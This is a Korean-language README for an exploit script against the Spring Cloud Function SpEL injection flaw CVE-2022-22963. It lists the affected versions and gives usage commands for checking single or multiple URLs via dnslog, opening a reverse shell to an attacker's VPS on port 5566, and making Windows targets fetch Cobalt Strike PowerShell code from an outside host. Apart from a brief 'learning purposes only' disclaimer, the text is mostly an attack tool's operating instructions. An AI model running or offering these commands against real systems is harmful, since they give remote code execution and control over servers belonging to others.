
Spring Cloud Function SPEL 표현식 주입 취약점 (CVE-2022-22963)
Spring 프레임워크는 현대 자바 기반 엔터프라이즈 애플리케이션(모든 유형의 배포 플랫폼)을 위한 포괄적인 프로그래밍 및 구성 모델을 제공합니다.
Spring Cloud의 서버리스 프레임워크인 Spring Cloud Function의 RoutingFunction 클래스의 apply 메서드는 요청 헤더의 "spring.cloud.function.routing-expression" 매개변수를 Spel 표현식으로 처리하여 Spel 표현식 주입을 유발하며, 공격자는 이 취약점을 통해 임의 코드를 실행할 수 있습니다.
영향 범위: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
스크립트는 학습 목적으로만 사용되며, 다른 용도로 사용할 경우 발생하는 법적 책임은 작성자와 무관합니다
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u 단일 URL을 지정하여 dnslog 테스트 수행
-e 리버스 셸 모드 지정
-s 대상 호스트 운영체제 지정, 기본값 linux, 매개변수는 win/linux -i 및 -c 매개변수와 함께 사용
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874는 vulfocus의 docker 실습 환경으로, nslookup 명령어가 설치되어 있지 않아 dnslog 테스트가 실패했습니다.
- 다중 URL 주소는 반드시 웹사이트 루트 디렉터리여야 합니다. http://192.168.50.222:8080/는 로컬에 구축한 실습 환경의 루트 디렉터리이며, test 디렉터리를 추가하면 poc가 적용되지 않습니다.
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps의 ip주소:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c는 cs가 생성한 powershell 업로드 코드의 주소를 지정하며, 반드시 -s "win"과 함께 사용해야 합니다. -c 옵션은 windows 환경에서 스크립트를 실행해야 하며, 스크립트는 powershell을 호출하여 poc 인코딩을 수행합니다.


